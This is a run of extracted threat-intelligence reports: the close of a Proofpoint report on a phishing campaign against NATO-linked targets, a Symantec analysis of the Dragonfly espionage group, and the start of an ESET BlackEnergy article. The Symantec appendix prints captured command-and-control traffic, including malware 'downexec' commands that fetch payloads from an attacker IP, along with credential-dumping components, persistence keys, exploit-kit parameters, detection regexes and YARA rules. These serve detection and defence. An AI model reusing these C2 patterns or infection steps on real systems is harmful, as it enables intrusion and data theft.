Researchers at Mandiant addressed these tactics by UNC1151s information operation team referred to as Ghostwriter (collectively TA445) in a recent presentation (12:17 time stamp), disclosing the existence of the group and attributing the activity to Belarus.
Proofpoint also notes that, in addition to the Asylum Ambuscade operation, in recent days researchers have detected TA445 credential harvesting activity that aligns with Mandiants description of this threat group to include the use of GoPhish to deliver malicious email content.
This activity appears distinct from the Asylum Ambuscade campaign.
Proofpoint is currently tracking the actor responsible for Asylum Ambuscade as distinct from TA445 until a technical relationship can be further established.
Tactic Asylum Ambuscade Campaign TA445 Document Attachment Phishing Focus on Refugee Issues and NATO https://www.mandiant.com/resources/unc1151-linked-to-belarus-government https://www.youtube.com/watch?vl2KqGBkDwww 12/18 Use of Macro Enabled Documents Use of GoPhish Use of MSI Packages Use of Lua Based Malware Use of Compromised Sender Infrastructure Figure 9.
Comparison of Asylum Ambuscade campaign and TA445 TTPs.
While Proofpoint has not definitively determined attribution at this time, researchers assess with moderate confidence that this campaign and a historic campaign from July 2021 were conducted by the same threat actor.
The July 2021 campaign utilized a highly similar macro- laden XLS attachment to deliver MSI packages that install a Lua malware script.
Similarly, the campaign utilized a very recent government report as the basis of the social engineering content and titled the malicious attachment list of participants of the briefing.xls.
In addition to the file name being quite similar to the Asylum Ambuscade campaign, the Lua script created a nearly identical URI beacon to the SunSeed sample, which was composed of the infected victims C Drive partition serial number.
Analysis of the cryptography calls in both samples revealed that the same version of WiX 3.11.0.1528 had been utilized to create the MSI packages.
Finally, the macros in this historic campaign utilized the identical technique as the Asylum Ambuscade campaign, using Windows Installer to retrieve an MSI package from an actor-controlled IP resource and suppressing indications of installation from the user.
The July 2021 campaign targeted senior cyber security practitioners and decisionmakers at private US-based companies, including those in the defense sector.
https://www.virustotal.com/gui/file/a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0 13/18 Figure 10.
Historic malicious macro seen in July 2021.
Conclusion: Balancing Accurate Reporting in a Timely Fashion This activity, independent of attribution conclusions, represents an effort to target NATO entities with compromised Ukrainian military accounts during an active period of armed conflict between Russia, its proxies, and Ukraine.
In publishing this report, Proofpoint seeks to balance the accuracy of responsible reporting with the quickest possible disclosure of actionable intelligence.
The onset of hybrid conflict, including within the cyber domain, has accelerated the pace of operations and reduced the amount of time that defenders have to answer deeper questions around attribution and historical correlation to known nation-state operators.
However, these are issues that Proofpoint will continue to research while 14/18 protecting customers globally.
Proofpoint invites additional details and input around any observed activity that aligns with these reports.
While the utilized techniques in this campaign are not groundbreaking individually, if deployed collectively, and during a high tempo conflict, they possess the capability to be quite effective.
As the conflict continues, researchers assess similar attacks against governmental entities in NATO countries are likely.
Additionally, the possibility of exploiting intelligence around refugee movements in Europe for disinformation purposes is a proven part of Russian and Belarussian-state techniques.
Being aware of this threat and disclosing it publicly are paramount for cultivating awareness among targeted entities.
Indicators of Compromise (IOCs) IOC Type of IOC redactedukr[.
]net Sender Email IN ACCORDANCE WITH THE DECISION OF THE EMERGENCY MEETING OF THE SECURITY COUNCIL OF UKRAINE DATED 24.02.2022 Email Subject list of persons.xls 1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3 Attachment 84.32.188[.
]96 IP qwerty_setup.msi 31d765deae26fb5cb506635754c700c57f9bd0fc643a622dc0911c42bf93d18f MSI Package print.lua 7bf33b494c70bd0a0a865b5fbcee0c58fa9274b8741b03695b45998bcd459328 Lua Script 15/18 luacom.dll f97f26f9cb210c0fcf2b50b7b9c8c93192b420cdbd946226ec2848fd19a9af2c ltn12.lua b1864aed85c114354b04fbe9b3f41c5ebc4df6d129e08ef65a0c413d0daabd29 mime.lua e9167e0da842a0b856cbe6a2cf576f2d11bcedb5985e8e4c8c71a73486f6fa5a http.lua d10fbef2fe8aa983fc6950772c6bec4dc4f909f24ab64732c14b3e5f3318700c socket.dll 3694f63e5093183972ed46c6bef5c63e0548f743a8fa6bb6983dcf107cab9044 mime.dll 976b7b17f2663fee38d4c4b1c251269f862785b17343f34479732bf9ddd29657 lua5.1.dll fbbe7ee073d0290ac13c98b92a8405ea04dcc6837b4144889885dd70679e933f url.lua 269526c11dbb25b1b4b13eec4e7577e15de33ca18afa70a2be5f373b771bd1ab sppsvc.exe 737f08702f00e78dbe78acbeda63b73d04c1f8e741c5282a9aa1409369b6efa8 tp.lua 343afa62f69c7c140fbbf02b4ba2f7b2f711b6201bb6671c67a3744394084269 socket.lua 15fd138a169cae80fecf4c797b33a257d587ed446f02ecf3ef913e307a22f96d Files Software Protection Service.lnk File Name AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Software Protection Service.lnk Directory Path C:\ProgramData\.security-soft Directory Path hxxp://84.32.188[.
]96/hexadecimal_value URL 16/18 list of participants of the briefing.xls a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0 File 157.230.104[.
]79 IP i.msi 2e1de7b61ed25579e796ec4c0df2e25d2b98a1f8d4fdb077e2b52ee06c768fca MSI Package hxxp://45.61.137[.
]231/?idhexdecimal_value URL wlua5.1.exe 737f08702f00e78dbe78acbeda63b73d04c1f8e741c5282a9aa1409369b6efa8 core.lua 737f08702f00e78dbe78acbeda63b73d04c1f8e741c5282a9aa1409369b6efa8 luacom.dll f97f26f9cb210c0fcf2b50b7b9c8c93192b420cdbd946226ec2848fd19a9af2c struct.dll 5b317f27ad1e2c641f85bef601740b65e93f28df06ed03daa1f98d0aa5e69cf0 ltn12.lua b1864aed85c114354b04fbe9b3f41c5ebc4df6d129e08ef65a0c413d0daabd29 mime.lua e9167e0da842a0b856cbe6a2cf576f2d11bcedb5985e8e4c8c71a73486f6fa5a http.lua d10fbef2fe8aa983fc6950772c6bec4dc4f909f24ab64732c14b3e5f3318700c socket.dll 3694f63e5093183972ed46c6bef5c63e0548f743a8fa6bb6983dcf107cab9044 Files 17/18 YARA Signatures core.dll 9aa3ca96a84eb5606694adb58776c9e926020ef184828b6f7e6f9b50498f7071 core.lua 20180a8012970453daef6db45b2978fd962d2168fb3b2b1580da3af6465fe2f6 mime.dll 976b7b17f2663fee38d4c4b1c251269f862785b17343f34479732bf9ddd29657 lua5.1.dll fbbe7ee073d0290ac13c98b92a8405ea04dcc6837b4144889885dd70679e933f url.lua 269526c11dbb25b1b4b13eec4e7577e15de33ca18afa70a2be5f373b771bd1ab alien.lua 303e004364b1beda0338eb10a845e6b0965ca9fa8ee16fa9f3a3c6ef03c6939f tp.lua 343afa62f69c7c140fbbf02b4ba2f7b2f711b6201bb6671c67a3744394084269 socket.lua 15fd138a169cae80fecf4c797b33a257d587ed446f02ecf3ef913e307a22f96d 18/18 rule WindowsInstaller_Silent_InstallProduct_MacroMethod  meta: author  Proofpoint Threat Research date  20210728 hash  1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3 a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0 reference  This signature has not been quality controlled in a production environment.
Analysts believe that this method is utilized by multiple threat actors in the wild strings: doc_header  D0 CF 11 E0 A1 B1 1A E1 s1  .UILevel  2 s2  CreateObject(\WindowsInstaller.
Installer\) s3  .InstallProduct \http condition: doc_header at 0 and all of (s)  Emerging Threats Signatures 2035360    SunSeed Lua Downloader Activity (GET) 2035361    SunSeed Downloader Retrieving Binary (set) 2035362    SunSeed Download Retrieving Binary Subscribe to the Proofpoint Blog Select
SECURITY RESPONSE Dragonfly initially targeted defense and aviation companies in the US and Canada before shifting its focus to US and European energy firms in early 2013.
Dragonfly: Cyberespionage Attacks Against Energy Suppliers Symantec Security Response Version 1.21:  July 7, 2014, 12:00 GMT Dragonfly: Cyberespionage Attacks Against Energy Suppliers CONTENTS OVERVIEW ..................................................................... 3 Timeline ......................................................................... 5 Victims .......................................................................... 5 Tools and tactics ........................................................... 6 Spam campaign ....................................................... 6 Watering hole attacks ............................................. 6 Trojanized software ................................................. 7 Source time zone .......................................................... 7 Conclusion ..................................................................... 8 Appendix - Technical Description ............................... 10 Lightsout exploit kit .............................................. 10 Backdoor.
Oldrea .................................................... 11 Registry modifications .......................................... 11 Trojan.
Karagany .................................................... 13 Indicators of compromise ........................................... 15 Lightsout exploit kit  ............................................. 15 Backdoor.
Oldrea  ................................................... 16 Trojan.
Karagany  .................................................... 17 A cyberespionage campaign against a range of targets, mainly in the energy sector, gave attackers the ability to mount sabotage operations against their victims.
The attackers, known to Symantec as Dragonfly, managed to compromise a number of strategically important organizations for spying purposes and, if they had used the sabotage capabilities open to them, could have caused damage or disruption to the energy supply in the affected countries.
The Dragonfly group, which is also known by other vendors as Energetic Bear, are a capable group who are evolving over time and targeting primarily the energy sector and related industries.
They have been in operation since at least 2011 but may have been active even longer than that.
Dragonfly initially targeted defense and aviation companies in the US and Canada before shifting its focus to US and European energy firms in early 2013.
More recent targets have included companies related to industrial control systems.
Dragonfly has used spam email campaigns and watering hole attacks to infect targeted organizations.
The group has used two main malware tools: Trojan.
Karagany and Backdoor.
Oldrea.
The latter appears to be a custom piece of malware, either written by or for the attackers.
OVERVIEW http://www.symantec.com/security_response/writeup.jsp?docid2010-121515-0725-99 http://www.symantec.com/security_response/writeup.jsp?docid2013-052817-2105-99 A newer approach used by the attackers involves compromising the update site for several industrial control system (ICS) software producers.
TIMELINE Page 5 Dragonfly: Cyberespionage Attacks Against Energy Suppliers Timeline Symantec observed spear phishing attempts in the form of emails with PDF attachments from February 2013 to June 2013.
The email topics were related to office administration issues such as dealing with an account or problems with a delivery.
Identified targets of this campaign were mainly US and UK organizations within the energy sector.
In May 2013, the attackers began to use the Lightsout exploit kit as an attack vector, redirecting targets from various websites.
The use of the Lightsout exploit kit has continued to date, albeit intermittently.
The exploit kit has been upgraded over time with obfuscation techniques.
The updated version of Lightsout became known as the Hello exploit kit.
A newer approach used by the attackers involves compromising the update site for several industrial control system (ICS) software producers.
They then bundle Backdoor.
Oldrea with a legitimate update of the affected software.
To date, three ICS software producers are known to have been compromised.
The Dragonfly attackers used hacked websites to host command-and-control (CC) software.
Compromised websites appear to consistently use some form of content management system.
Victims The current targets of the Dragonfly group, based on compromised websites and hijacked software updates, are the energy sector and industrial control systems, particularly those based in Europe.
While the majority of victims are located in the US, these appear to mostly be collateral damage.
That is, many of these computers were likely infected either through watering hole attacks or update hijacks and are of no interest to the attacker.
By examining victims with active infections where additional malicious activity has been detected  it is possible to gather a more accurate picture of true victims.
The most active infections, as in Figure 2, are Figure 1.
Timeline of Dragonfly operations Figure 2.
Top 10 countries by active infection Page 6 Dragonfly: Cyberespionage Attacks Against Energy Suppliers in Spain, followed in order by the US, France, Italy, and Germany.
Tools and tactics Dragonfly uses two main pieces of malware in its attacks.
Both are Remote Access Tool (RAT) type malware which provide the attackers with access and control of compromised computers.
Dragonflys favored malware tool is Backdoor.
Oldrea, which is also known as Havex or the Energetic Bear RAT.
Oldrea acts as a back door for the attackers on to the victims computer, allowing them to extract data and install further malware.
Oldrea appears to be custom malware, either written by the group itself or created for it.
This provides some indication of the capabilities and resources behind the Dragonfly group.
The second main tool used by Dragonfly is Trojan.
Karagany.
Unlike Oldrea, Karagany was available on the underground market.
The source code for version 1 of Karagany was leaked in 2010.
Symantec believes that Dragonfly may have taken this source code and modified for its own use.
Symantec found that the majority of computers compromised by the attackers were infected with Oldrea.
Karagany was only used in around 5 percent of infections.
The two pieces of malware are similar in functionality and what prompts the attackers to choose one tool over another remains unknown.
Spam campaign The Dragonfly group has used at least three infection tactics against targets in the energy sector.
The earliest method was an email spear phishing campaign, which saw selected executives and senior employees in target companies receive emails containing a malicious PDF attachment.
Infected emails had one of two subject lines: The account or Settlement of delivery problem.
All of the emails were from a single Gmail address.
Figure 3 displays the number of different recipients per day.
The spam campaign began in February 2013 and continued into June 2013.
Symantec identified seven different organizations targeted in this campaign.
At least one organization was attacked intermittently for a period of 84 days.
Watering hole attacks In June 2013, the attackers shifted their focus to watering hole attacks.
They compromised a number of energy- related websites and injected an iframe into each of them.
This iframe then redirected visitors to another compromised legitimate website hosting the Lightsout exploit kit.
This in turn exploited either Java or Internet Explorer in order to drop Oldrea or Karagany on the victims computer.
The fact that the attackers compromised multiple legitimate websites for each stage of the operation is further evidence that the group has strong technical capabilities.
Figure 3.
Spam campaign activity from mid-February 2014 to mid-June 2013 Page 7 Dragonfly: Cyberespionage Attacks Against Energy Suppliers In September 2013, Dragonfly began using a new version of this exploit kit, known as the Hello exploit kit.
The landing page for this kit contains JavaScript which fingerprints the system, identifying installed browser plugins.
The victim is then redirected to a URL which in turn determines the best exploit to use based on the information collected.
Figure 4 shows the compromised websites categorized into their respective industries.
Fifty percent of identified targets were energy industry related and thirty percent were energy control systems, as shown in Figure 4.
A clear shift in the attackers targeting can be seen in March 2014 when energy control systems become the primary target.
Trojanized software The most ambitious attack vector used by Dragonfly was the compromise of a number of legitimate software packages.
Three different ICS equipment providers were targeted and malware was inserted into the software bundles they had made available for download on their websites.
Source time zone Analysis of the compilation timestamps on the malware used by the attackers indicate that the group mostly worked between Monday and Friday, with activity mainly concentrated in a nine-hour period that corresponded to a  9am to 6pm working day in the UTC 4 time zone.
Figure 5.
Number of samples compiled per hour, UTC time zone Figure 4.
Targeted industries over time Page 8 Dragonfly: Cyberespionage Attacks Against Energy Suppliers Conclusion The Dragonfly group is technically adept and able to think strategically.
Given the size of some of its targets, the group found a soft underbelly by compromising their suppliers, which are invariably smaller, less protected companies.
Figure 6.
Number of samples compiled per day, UTC time zone APPENDIX Page 10 Dragonfly: Cyberespionage Attacks Against Energy Suppliers Appendix - Technical Description Identification of this group is based on the use of two malware families and an exploit kit.
The malware families utilized are Backdoor.
Oldrea and Trojan.
Karagany.
The exploit kit is known as Lightsout and/or Hello.
Hello is an updated iteration of Lightsout that the Dragonfly group began to use in September 2013.
Use of Backdoor.
Oldrea appears to be limited to the Dragonfly group.
In addition, specific instances of Trojan.
Karagany have been used by this group.
Karagany is a Russian RAT sold on underground forums.
Instances of this malware related to the Dragonfly group are identified based on them being delivered through the Lightsout exploit kit and also a particular packer that this group used.
Symantec detects the Trojan.
Karagany packer used by this group as Trojan.
Karaganygen1.
The Lightsout exploit kit is a simple exploit kit that is consistently used to deliver primarily Backdoor.
Oldrea and, in several instances, Trojan.
Karagany.
Lightsout exploit kit A number of sites that use content management systems were exploited and an iframe was used in order to redirect visitors to sites hosting the Lightsout exploit kit.
An example of an injected iframe can be seen in figure 7.
The exploit kit uses browser (e.g.
Internet Explorer and Firefox) and Java exploits in order to deliver either Backdoor.
Oldrea or Trojan.
Karagany.
An example of the structure of the Lightsout exploit kit can be seen Table 1.
Note that file names and exploits used may vary.
In September 2013, the Dragonfly group began using a new version of Lightsout, also known as the Hello exploit kit.
The JavaScript included in the landing page redirects the browser to a URL that depends on the fonts installed on the system, browser add-ons, the OS version, and the user agent.
At this point, it determines the best exploit to use, based on the information provided, and generates an appropriate URL to redirect the user to the appropriate exploit/payload.
The following shows an example of such a request: [http://]compromised.example/wp-includes/pomo/ dtsrc.php?a[EK _ DETERMINED _ PARAMETER] Figure 7.
Example of injected iframe link Table 1.
Examples of file names for one implementation of the Lightsout exploit kit Page Description CVE Inden2i.php First landing page N/A Inden2i.html Second landing page N/A PluginDetect.js PluginDetect script N/A Stoh.html Java 6 exploit Jar request file N/A Stoh.jar Java 6 Exploit CVE-2012-1723 Gami.html Java 7 exploit Jar request file N/A Gami.jar Java 7 exploit CVE-2013-2465 Tubc.html IE7 Exploit CVE-2012-4792 Negc.html IE8 Exploit CVE-2013-1347 http://www.symantec.com/security_response/writeup.jsp?docid2014-061601-3811-99 http://vrt-blog.snort.org/2014/03/hello-new-exploit-kit.html Page 11 Dragonfly: Cyberespionage Attacks Against Energy Suppliers [EK_DETERMINED_PARAMETER] may be anything listed in Table 2.
The parameters dwe and dwd relate to which payload is requested for download, for example: When a Backdoor.
Oldrea payload is requested [EK_DETERMINED_PARAMETER] is dwd When a Karaganygen1 payload is requested [EK_DETERMINED_PARAMETER] is dwe The values of the [EK_DETERMINED_PARAMETER] variable may relate to the two different file types represented by Backdoor.
Oldrea and Trojan.
Karaganygen1 payloads.
Oldrea payloads are DLL files (URLs end in d for DLL?)
while Karaganygen1 payloads are portable executables (URLs end in e for EXE?
).
Backdoor.
Oldrea At the core of Backdoor.
Oldrea is a persistent component that interacts with CC servers to download and execute payloads.
The components are downloaded by reaching out to the CC server and performing a GET request which returns an HTML page containing a base64 encoded string between two comments marked with the havex string.
Installation File system modifications Temp\qln.dbx System\TMPprovider038.dll Registry modifications In this specific example, the 038 in the file nameindicates the major version number.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\TmProvider HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TmProvider HKEY_LOCAL_MACHINE\ SOFTWARE\Microsoft\Internet Explorer\InternetRegistry\fertger HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\InternetRegistry Code injection Backdoor.
Oldrea injects code into explorer.exe.
Networking Post infection, Backdoor.
Oldrea will attempt to collect system information such as OS, user name, computer name, country, language, nation, Internet adapter configuration information, available drives, default browser, running processes, desktop file list, My Documents, Internet history, program files, and root of available drives.
It also collects data from Outlook (address book) and ICS related software configuration files.
This data is collected and written to a temporary file in an encrypted form before it is POSTed to a remote CC server.
The following are examples of a POST request and a POST response: Table 2.
Lightsout exploit kit parameters Page Description H2 Java Exploit (v1.7.17) H3 Chrome /w Java (1.7.17) H4 IE6  OSVer  Vista  6 H5 Java Exploit (v1.7.17  OSver  Vista) H6 IE8  OSVer  Vista H7 Java Exploit (v1.6.32) R2 Malicious JAR file R7 Malicious JAR file Dwe Malicious PE file Dwd Malicious PE file Page 12 Dragonfly: Cyberespionage Attacks Against Energy Suppliers POST request example: POST /wp08/wp-includes/dtcla.php?id285745296322896178920098FD80-20v1038v217 0393861q5265882854508EFCF958F979E4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows U Windows NT 6.1 en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.36 Safari/525.19 Host: toons.freesexycomics.com Content-Length: 0 Cache-Control: no-cache POST response example: HTTP/1.1 200 OK Date: Wed, 22 Jan 2014 13:40:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Server: Apache/1.3.37 (Unix) Cache-Control: no-cache 9f65 htmlheadmega http-equivCACHE-CONTROL contentNO-CACHE/ headbodyNo data--havexQlpoOTFBWSZTWWYvDI0BOsD//////////////////////////////////// /////////4oB93VVXu69DuN7XYzds9yt49Ques [...TRUNCATED FOR READABILITY] yUW3zfTxWAOstsCwCckdW5 AH5Q6vbbCu7GputPt5CSfgPCAKXcAOOICMsqliACGYEhAQT3v9eD M92D/8XckU4UJBmLwyNAhavex--/body/head Various samples process the CC responses differently.
In one example, the sample searches for the data enclosed by the tag havex.
Once the data is found, it is decoded using standard base64  bzip2 and also a xor layer with bytes from the string 1312312.
The decoded data contains a small header followed by an executable MZ-file.
Another sample was found to use standard base64  reverse xor  RSA-2048 for decrypting received data.
The decrypted data consists of a 6 byte command concatenated with an MZ file.
The MZ file is compressed with the lzma algorithm.
RSA keys for decryption, together with other initial configuration information, are stored in the registry in base64 form.
Payloads This section includes information about identified payloads downloaded by Backdoor.
Oldrea.
The following is a brief description of the functionality for each identified component: Tmpprovider is a persistent component that interacts with the CC server (downloads and executes payloads).
The InstallerFormDll component usually embeds another executable (DLL) in its resource section to be loaded.
The sample analyzed carried a Web browser password recovery tool originating from http://securityxploded.com/browser-password-decryptor.php The RunExeCmdSingle component is a DLL file that drops and executes another executable.
The export runDll of this file is where the logic is implemented.
DropCommandsCmd is a cleanup module, used to remove traces of itself from the infected computer.
The GetFileCmd modules check for the existence of specific files on the infected host.
The two samples look for the ICS related software file and Outlooks autocomplete address book file (outlook.nk2).
Page 13 Dragonfly: Cyberespionage Attacks Against Energy Suppliers Trojan.
Karagany Trojan.
Karagany is a back door used primarily for recon.
It is designed to download and install additional files and exfiltratedata.
Samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer/protector for the payload.
Where present in samples, the Delphi packer is configured to use neosphere as a key to decrypt the payload.
The following is a brief overview of the functionality of Trojan.
Karagany: Can upload, download, and execute files on the system Has plugin capability (may load several plugins for added functionality, such as Web injects) Payload is approximately 72Kb in size and is programmed in C/C Contains a small embedded DLL file, which monitors WSASend and send APIs for capturing Basic Authentication credentials Installation Trojan.
Karagany creates a folder in the user APPDATA directory and chooses the directory name from the following list: Microsoft WCF services Broker services Flash Utilities Media Center Programs Policy Definitions Microsoft Web Tools Reference Assemblies Analysis Services InstallShield Information IIS SQL Server Diagnostics NTAPI Performance WPF Platform It copies itself in the created directory with hidden and system attributes using a file name chosen from the following list: SearchIndexer.exe ImeBroker.exe fsutil.exe PnPutil.exe BdeUISrv.exe WinSAT.exe pwNative.exe SnippingTool.exe DFDWizard.exe PrintBrmEngine.exe WbemMonitor.exe dxpserver.exe PowerMng.exe Page 14 Dragonfly: Cyberespionage Attacks Against Energy Suppliers Trojan.
Karagany copies itself with hidden and system attributes where it was first executed aserr.log[DIGITS].
It then copies the legitimate chkdsk utility in the installation folder using the payload file name but with a space before the file extension.
This may fool ordinary users into thinking that this folder contains a legitimate application, for example PnPutil .exe.
Trojan.
Karaganygen1 may create the following additional files in the installation folder: Form.api inact.api prog.cer Cent.api ie.pdb It then creates a C:\ProgramData\Mail\MailAg\gl directory as a temporary directory used for uploading files.
Trojan.
Karagany then creates a link to itself in the Startup folder as an autostart when the system restarts.
Networking Trojan.
Karagany first checks for a live Internet connection by visiting Microsoft or Adobe websites.
It will only reach out to its CC server once this check is successful.
Example HTTP Requests Internet connection test to Microsoft GET /en-us/default.aspx HTTP/1.1 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Host: microsoft.com Cookie: MC1V3GUID32 character guid Connection: Keep-Alive Cache-control: no-cache Internet connection test to Adobe using identifiant parameter POST /geo/productid.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: adobe.com ... identifiant51032 _ 175129256364 Example POST request for CC server check-in POST /check _ value.php HTTP/1.1 User-Agent: Mozilla/4.0 (compatible MSIE 7.0 Windows NT 6.1 .NET CLR 2.0.50727) Host: 93.188.161.235 ... identifiant51032 _ 1799883375637versioni2pver HTTP response example HTTP/1.1 200 OK Date: Tue, 28 Jan 2014 05:59:58 GMT Vary: Accept-Encoding Content-Length: 324 Content-Type: text/html X-Powered-By: PHP/5.3.10-1ubuntu3.9 Via: 1.1 host.alexsieff.com work:3downexec [http://]93.188.161.235/check2/muees27jxt/shot.jpg work:5downexec [http://]93.188.161.235/check2/muees27jxt/tl.jpg work:7downexec [http://]93.188.161.235/check2/muees27jxt/fl.jpg work:103downexec [http://]93.188.161.235/check2/muees27jxt/pdump.jpg work:118downexec [http://]93.188.161.235/check2/muees27jxt/fl.jpg Page 15 Dragonfly: Cyberespionage Attacks Against Energy Suppliers The POST data contains the operating system version and a derived number: identifiant[OS VERSION]_[DERIVED NUMBER] User-Agent tokens used in CC requests are hard-coded.
The following two examples have been observed: Mozilla/17.0 (compatible MSIE 8.0 Windows NT 6.1 .NET CLR 2.0.50727 .NET CLR 3.5.30729) Mozilla/4.0 (compatible MSIE 7.0 Windows NT 6.1 .NET CLR 2.0.50727 .NET CLR 3.5.30729) Downloaded components pdump.jpg - Used for dumping passwords into \ProgramData\Mail\MailAg\pwds.txt.
Needs vaultcli.dll library fl.txt - Used for listing RTF, PST, DOC, XLS, PDF, pass.,
secret.
files into \ProgramData\Mail\MailAg\fls.txt tl.jpg - Used to list running task using tasklist utility shot.jpg - Used for desktop screenshot, file is saved into \ProgramData\Mail\MailAg\shot.png Indicators of compromise Lightsout exploit kit Watering holes Table 3.
Detected exploit sites hosting the Lightsout exploit kit and referrer Infected website Infected website industry Infected website nationality Exploit site Last Seen www.s[REDACTED]e.az File hosting service Azerbaijan blog.olioboard.com 18/06/2014 01:19 www.t[REDACTED]e.no Energy control systems Norwegian www.manshur.ir 24/05/2014 10:53 www.s[REDACTED]e.az File hosting service Azerbaijan realstars.ir 06/05/2014 22:20 s[REDACTED]e.az File hosting service Azerbaijan realstars.ir 06/05/2014 23:30 www.f[REDACTED]y.com Energy American aptguide.3dtour.com 11/04/2014 12:26 www.t[REDACTED]e.no Energy control systems Norwegian seductionservice.com 07/04/2014 06:42 www.a[REDACTED]t.it Energy control systems Italian seductionservice.com 06/04/2014 22:25 www.e[REDACTED]t.it Energy control systems Italian seductionservice.com 05/04/2014 22:57 b[REDACTED]n.in Energy control systems Indian mahsms.ir 23/03/2014 23:01 www.v[REDACTED]z.com Energy French mahsms.ir 21/03/2014 22:30 www.r[REDACTED]e.fr Energy French mahsms.ir 14/03/2014 04:30 www.e[REDACTED]m.eu Energy French aptguide.3dtour.com 04/03/2014 21:27 www.r[REDACTED]e.fr Energy French keeleux.com 30/11/2013 06:57 www.v[REDACTED]z.com Energy French keeleux.com 11/10/2013 12:18 Page 16 Dragonfly: Cyberespionage Attacks Against Energy Suppliers Detection for HTTP request of Lightsout payload Regular expression for URL or HTTP request-line searches: [](dw[de]fn[de]) Backdoor.
Oldrea Detection for Oldrea HTTP CC requests \.php\?id[0-9A-F]28.0,5v1[0-9]1,5v2[0-9]1,10q[0-9A-F]20 Detection for files created during installation Regular expression for file system searches: (TMPprovider[0-9]3\.dllsy[ds]main\.dll) Table 4.
Recent Oldrea CC servers detected by Symantec Hostname First Seen Last Seen a[REDACTED]e.com 25/02/2014 15:57 23/06/2014 21:06 e[REDACTED]k.ru 25/02/2014 18:47 23/06/2014 20:51 r[REDACTED]r.ru 25/02/2014 15:44 23/06/2014 17:21 l[REDACTED]l.net 25/02/2014 15:54 23/06/2014 12:51 c[REDACTED]b.ru 25/02/2014 22:37 23/06/2014 12:13 l[REDACTED]r.ru 05/03/2014 14:00 22/06/2014 22:06 p[REDACTED]3.ru 11/06/2014 03:34 22/06/2014 06:18 r[REDACTED]a.com 30/04/2014 00:07 17/06/2014 22:57 7[REDACTED]t.com 26/02/2014 09:43 13/06/2014 08:59 s[REDACTED]s.com 29/04/2014 23:43 13/06/2014 02:55 www.r[REDACTED]l.com 05/03/2014 19:18 19/03/2014 17:21 w[REDACTED]c.org 26/02/2014 04:51 11/03/2014 23:30 s[REDACTED]s.com 06/09/2013 04:03 16/01/2014 23:54 s[REDACTED]f.com.ua 14/01/2014 21:46 16/01/2014 22:49 d[REDACTED]k.com 14/01/2014 08:46 16/01/2014 22:48 z[REDACTED]k.com 14/01/2014 21:47 16/01/2014 22:47 blog.o[REDACTED]d.com 19/09/2013 07:12 16/01/2014 22:40 a[REDACTED]l.com 06/09/2013 04:41 16/01/2014 20:52 a[REDACTED]r.com 19/09/2013 01:44 15/01/2014 05:57 k[REDACTED]x.com 20/09/2013 00:22 26/09/2013 04:25 blog.k[REDACTED]x.com 20/09/2013 04:04 25/09/2013 07:57 dl.3[REDACTED]e.com 28/08/2013 06:38 06/09/2013 10:07 j[REDACTED]p.co.jp 28/08/2013 06:33 06/09/2013 09:37 s[REDACTED]e.net 28/08/2013 09:12 06/09/2013 03:54 Page 17 Dragonfly: Cyberespionage Attacks Against Energy Suppliers Registry changes made during installation HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TmProvider HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\TmProvider Trojan.
Karagany 91.203.6.71 93.171.216.118 93.188.161.235 Format of data initial POST request made to CC server identifiant[OS VERSION]_[DERIVED NUMBER] HTTP requests for uploading data with the format: filename[FILE NAME]identifiant[INFO DERIVED FROM OS]fichier[ENCODED DATA FROM FILE] Yara rule Karagany Yara rule: private rule isPE  condition: uint16(0)  0x5A4D and uint32(uint32(0x3c))  0x00004550  rule Trojan _ Karagany  meta: alias  Dreamloader strings: s1  neosphere wide ascii s2  10000000000051200 wide ascii v1  fichier wide ascii v2  identifiant wide ascii c1  xmonstart wide ascii c2  xmonstop wide ascii c3  xgetfile wide ascii c4  downadminexec wide ascii c5  xdiex wide ascii c6  xrebootx wide ascii condition: isPE and ((s1 and s2) or (v1 and v2) or (any of (c)))  About Symantec Symantec protects the worlds information and is the global leader in security, backup, and availability solutions.
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Authors Symantec Security Response go.symantec.com/socialmedia http://www.symantec.com OVERVIEW Timeline Victims Tools and tactics Spam campaign Watering hole attacks Trojanized software Source time zone Conclusion Appendix - Technical Description Lightsout exploit kit Backdoor.
Oldrea Registry modifications Trojan.
Karagany Indicators of compromise Lightsout exploit kit Backdoor.
Oldrea Trojan.
Karagany
4/10/2016 BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry  www.welivesecurity.com https://www.readability.com/articles/oj1sikel 1/13 welivesecurity.com BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry by Anton Cherepanov   Jan. 3, 2016   4 min read original http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/ http://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/ 4/10/2016 BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry  www.welivesecurity.com https://www.readability.com/articles/oj1sikel 2/13 Update: In case you want to have a more simplified version of this article, please check out BlackEnergy trojan strikes again: Attacks Ukrainian electric power industry.
